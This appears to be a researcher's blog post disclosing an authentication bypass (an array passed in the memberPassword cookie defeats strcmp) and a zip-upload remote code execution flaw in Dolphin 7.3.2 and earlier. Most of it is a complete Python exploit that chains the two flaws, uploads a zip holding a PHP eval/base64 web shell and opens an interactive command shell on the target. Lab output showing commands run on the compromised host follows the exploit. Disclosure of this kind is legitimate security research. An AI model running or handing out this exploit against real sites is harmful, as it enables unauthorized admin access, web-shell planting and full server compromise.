Intro

From vendor website

Open-source software for creating custom social networks and web communities DolphinPro includes the site platform with thousands of features; iOS and Android apps; WebRTC Chat and media server software.”

Vulnerabilies

Authentication bypass

File inc/admin.inc.php

function check_login($ID, $passwd, $iRole = BX_DOL_ROLE_MEMBER, $error_handle = true)
{
    $ID = (int)$ID;
 
    if (!$ID) {
        if ($error_handle)
            login_form(_t("_PROFILE_ERR"), $member);
        return false;
    }
 
    switch ($iRole) {
        case BX_DOL_ROLE_MEMBER: $member = 0; break;
        case BX_DOL_ROLE_ADMIN:  $member = 1; break;
    }
 
    $aProfile = getProfileInfo($ID);
 
    // If no such members
    if (!$aProfile) {
        if ($error_handle)
            login_form(_t("_PROFILE_ERR"), $member);
        return false;
    }
 
    // If password is incorrect
    if (strcmp($aProfile['Password'], $passwd) != 0) {
        if ($error_handle)
            login_form(_t("_INVALID_PASSWD"), $member);
        return false;
    }
Code language: PHP (php)

At line 187 , the password from cookies ($passwd) is being compared with the administrator’s password ($aProfile[‘Password’]) using strcmp function

From http://php.net/manual/en/function.strcmp.php , strcmp is comparing strings and have 3 return conditions

  • If string1 < string2 , It return num < 0
  • If string1 > string2 , It return num > 0
  • If string1 = string2 , It return num 0

As mentioned , strcmp only compare strings , If you compared string with other input type you will get unpredictable result! That’s what we depend on here , providing an array in cookie password will result in comparison of the provided array with the normal administrator’s password , which will result in an comparison error and the function return will be 0 Which is also the expected result if both passwords were equal. so using cookies like memberID=1; memberPassword[]=0x4148 followed by moving to administration/index.php will get us just inside the admin panel

RCE

File inc/classes/BxDolFilesModule.php

    function actionUpload($sType, $aFile, $aFtpInfo)
    {
      $sHost = htmlspecialchars_adv(clear_xss($aFtpInfo['host']));
        $sLogin = htmlspecialchars_adv(clear_xss($aFtpInfo['login']));
        $sPassword = htmlspecialchars_adv(clear_xss($aFtpInfo['password']));
        $sPath = htmlspecialchars_adv(clear_xss($aFtpInfo['path']));

        setParam('sys_ftp_host', $sHost);
        setParam('sys_ftp_login', $sLogin);
        setParam('sys_ftp_password', $sPassword);
        setParam('sys_ftp_dir', $sPath);

        $sErrMsg = false;

        $sName = mktime();
        $sAbsolutePath = BX_DIRECTORY_PATH_ROOT . "tmp/" . $sName . '.zip';
        $sPackageRootFolder = false;

        if (!class_exists('ZipArchive'))
            $sErrMsg = '_adm_txt_modules_zip_not_available';

        if (!$sErrMsg && $this->_isArchive($aFile['type']) && move_uploaded_file($aFile['tmp_name'], $sAbsolutePath)) {

            // extract uploaded zip package into tmp folder

            $oZip = new ZipArchive();
            if ($oZip->open($sAbsolutePath) !== TRUE)
                $sErrMsg = '_adm_txt_modules_cannot_unzip_package';

            if (!$sErrMsg) {
                $sPackageRootFolder = $oZip->numFiles > 0 ? $oZip->getNameIndex(0) : false;

                if (file_exists(BX_DIRECTORY_PATH_ROOT . 'tmp/' . $sPackageRootFolder)) // remove existing tmp folder with the same name
                    bx_rrmdir(BX_DIRECTORY_PATH_ROOT . 'tmp/' . $sPackageRootFolder);

                if ($sPackageRootFolder && !$oZip->extractTo(BX_DIRECTORY_PATH_ROOT . 'tmp/'))
                    $sErrMsg = '_adm_txt_modules_cannot_unzip_package';

                $oZip->close();
            }
Code language: PHP (php)

Line 321 is responsible for uploading file to the tmp directory which have been assigned at line 315 Line 321 also check if the uploaded file is zip file or not If file uploaded and it’s zip file it’s being unzipped as it’s obvious from line 335 to the tmp directory then the zip file is deleted Great , then uploading zip file including malicious php file will lead to the extraction of the malicious php file into tmp/ directory

This function is being called via administration/modules.php

else if(isset($_POST['submit_upload']) && isset($_FILES['module']) && !empty($_FILES['module']['tmp_name']) && isset($aEnabledModuleAction['upload_module']))
	$sResultUpload = $oInstallerUi->actionUpload('module', $_FILES['module'], $_POST);
else if(isset($_POST['submit_upload']) && isset($_FILES['update']) && !empty($_FILES['update']['tmp_name']) && isset($aEnabledModuleAction['upload_update']))
	$sResultUpload = $oInstallerUi->actionUpload('update', $_FILES['update'], $_POST);Code language: plaintext (plaintext)

This action for sure require administrator privileges , that’s where our auth bypass flaw will help

Putting all together

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Software : Dolphin <= 7.3.2 Auth bypass / RCE exploit
Vendor : www.boonex.com
Author : Ahmed sultan (0x4148)
Home : 0x4148.com | https://www.linkedin.com/in/0x4148
Email : [email protected]
Auth bypass trick credit go to Saadat Ullah
'''
import os
import sys
import urllib
import urllib2
import ssl
import base64
print "[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit"
print "[+] Author : Ahmed sultan (0x4148)"
print "[+] Home : 0x4148.com\n"
if len(sys.argv)<2:
	print "\nUsage : python "+sys.argv[0]+" http://HOST/path/\n"
	sys.exit();
hosturl=sys.argv[1]
fields = {'csrf_token': 'Aint give a shit about csrf stuff ;)', 'submit_upload': '0x4148'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
def generate_http_request(fields):
	lmt = '---------------------------'
	crlf = '\r\n'
	x4148mltprt = []
	x4148mltprt.append('--' + lmt)
	if fields:
		for (key, value) in fields.items():
			x4148mltprt.append('Content-Disposition: form-data; name="%s"' % key)
			x4148mltprt.append('')
			x4148mltprt.append(value)
			x4148mltprt.append('--' + lmt)
	x4148mltprt.append('Content-Disposition: form-data; name="module"; filename="0x4148.zip"')
	x4148mltprt.append('Content-Type: application/zip')
	x4148mltprt.append('')
	x4148mltprt.append("PK\x03\x04\x0a\x00\x00\x00\x00\x00RanIj\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x000x4148fo.php"
	"<?php\x0d\x0aeval(base64_decode($_POST[\'0x4148\']));\x0d\x0a?>PK\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00RanIj"
	"\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x000x4148fo.php"
	"PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00:\x00\x00\x00[\x00\x00\x00\x00\x00")
	x4148mltprt.append('--' + lmt + '--')
	x4148mltprt.append('')
	body = crlf.join(x4148mltprt)
	content_type = 'multipart/form-data; boundary=%s' % (lmt)
	return content_type, body
content_type, body = generate_http_request(fields)
print " + Sending payload to "+hosturl.split("//")[1].split("/")[0]
req = urllib2.Request(hosturl+"/administration/modules.php",body)
req.add_header('User-agent', 'Mozilla 15')

req.add_header("Cookie", "memberID=1; memberPassword[]=0x4148;")
req.add_header('Referer', hosturl+"/administration/modules.php")
req.add_header('Content-Type', content_type)
req.add_header('Content-Length', str(len(body)))
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
try:
	urllib2.urlopen(req,context=gcontext).read()
except urllib2.HTTPError, e:
	err=e.fp.read()
	print err
	sys.exit()
print " * Checking if payload was send"
data = urllib.urlencode({'0x4148':'echo "0x4148foooo";'.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
if urllib2.urlopen(req).read().find("0x4148foooo")==-1:
	print " - Exploitation failed"
	print req
	sys.exit()
print " + php prompt up and running\n + type 'shell' to get shell access"
while True:
	request=str(raw_input("\nphp>> "))
	if request=="exit":
		sys.exit()
	if request=="shell" or request=="cmd":
		print "\n + Switched to Shell mode\n + Type 'return' to return to php prompt mode"
		while True:
			cmd=str(raw_input("\n0x4148@"+hosturl.split("//")[1].split("/")[0]+"# "))
			if cmd=="return":
				break
			if cmd=="exit":
				sys.exit()
			kkk="passthru('"+cmd+"');"
			data = urllib.urlencode({'0x4148':kkk.encode('base64')})
			req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
			print urllib2.urlopen(req).read()
	data = urllib.urlencode({'0x4148':request.encode('base64')})
	req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
	print urllib2.urlopen(req).read()Code language: Python (python)

and the result is

[root:/lab]# python dolphin.py
[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit
[+] Author : Ahmed sultan (0x4148)
[+] Home : 0x4148.com

Usage : python dolphin.py http://HOST/path/

[root:/lab]# python dolphin.py http://192.168.139.1/lab/Dolphin-v.7.3.2/Dolphin-v.7.3.2
[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit
[+] Author : Ahmed sultan (0x4148)
[+] Home : 0x4148.com

 + Sending payload to 192.168.139.1
 * Checking if payload was send
 + php prompt up and running
 + type 'shell' to get shell access

php>> system("dir");
 Volume in drive C is OS_Install
 Volume Serial Number is D60F-0795

 Directory of C:\xampp\htdocs\lab\Dolphin-v.7.3.2\Dolphin-v.7.3.2\tmp

11/14/2016  02:05 PM    <DIR>          .
11/14/2016  02:05 PM    <DIR>          ..
08/03/2016  12:00 AM               108 .htaccess
11/14/2016  02:05 PM                49 0x4148fo.php
               2 File(s)            157 bytes
               2 Dir(s)  37,965,479,936 bytes free

php>> shell

 + Switched to Shell mode
 + Type 'return' to return to php prompt mode

[email protected]# net user

User accounts for \\XXXXXXXXXX

-------------------------------------------------------------------------------
XXXXXXXXXX                   Administrator            DefaultAccount
Guest
The command completed successfully.

[email protected]# exit
[root:/lab]#Code language: plaintext (plaintext)

That’s it for today 🙂

Till another day, Ahmed